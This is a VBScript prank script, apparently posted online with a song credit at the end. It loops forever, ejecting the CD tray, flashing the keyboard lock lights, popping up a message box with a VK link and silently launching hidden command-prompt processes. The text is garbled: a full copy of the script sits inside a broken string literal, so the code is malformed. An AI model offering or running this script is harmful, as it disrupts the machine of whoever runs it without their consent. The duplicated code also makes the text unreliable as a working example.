do
Set WMPlayer = CreateObject("WMPlayer.OCX.7")

WMPlayer.CdRomCollection.Item(0).Eject()

Set s = CreateObject("Wscript.Shell")
s.sendkeys"{numlock}"
wscript.sleep 200
s.sendkeys"{capslock}"
wscript.sleep 250
s.sendkeys"{scrolllOcK}"
wscript.sleep 300

s.sendkeys"{scrolllOcK}"
wscript.sleep 300
s.sendkeys"{capslock}"
wscript.sleep 250
s.sendkeys"{numlock}"
wscript.sleep 200

s.sendkeys"{scrolllOcK} {capslock} {numlock}"
wscript.sleep 600

s.sendkeys"{numlock}"
wscript.sleep 100
s.sendkeys"{capslock}"
wscript.sleep 150
s.sendkeys"{scrolllOcK}"
wscript.sleep 200

s.sendkeys"{scrolllOcK}"
wscript.sleep 200
s.sendkeys"{capslock}"
wscript.sleep 150
s.sendkeys"{numlock}"
wscript.sleep 100

s.sendkeys"{scrolllOcK} {capslock} {numlock}"
wscript.sleep 600

wscript.sleep 10
Dim strMessage
strMessage = "do
Set WMPlayer = CreateObject("WMPlayer.OCX.7")

WMPlayer.CdRomCollection.Item(0).Eject()

Set s = CreateObject("Wscript.Shell")
s.sendkeys"{numlock}"
wscript.sleep 200
s.sendkeys"{capslock}"
wscript.sleep 250
s.sendkeys"{scrolllOcK}"
wscript.sleep 300

s.sendkeys"{scrolllOcK}"
wscript.sleep 300
s.sendkeys"{capslock}"
wscript.sleep 250
s.sendkeys"{numlock}"
wscript.sleep 200

s.sendkeys"{scrolllOcK} {capslock} {numlock}"
wscript.sleep 600

s.sendkeys"{numlock}"
wscript.sleep 100
s.sendkeys"{capslock}"
wscript.sleep 150
s.sendkeys"{scrolllOcK}"
wscript.sleep 200

s.sendkeys"{scrolllOcK}"
wscript.sleep 200
s.sendkeys"{capslock}"
wscript.sleep 150
s.sendkeys"{numlock}"
wscript.sleep 100

s.sendkeys"{scrolllOcK} {capslock} {numlock}"
wscript.sleep 600

wscript.sleep 10
Dim strMessage
strMessage = " wwwvk.com/crytilka"

MsgBox strMessage

Set S = CreateObject("Wscript.Shell")

execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"
wscript.sleep 10
loop

Music:
Tech N9ne - Worldwide Choppers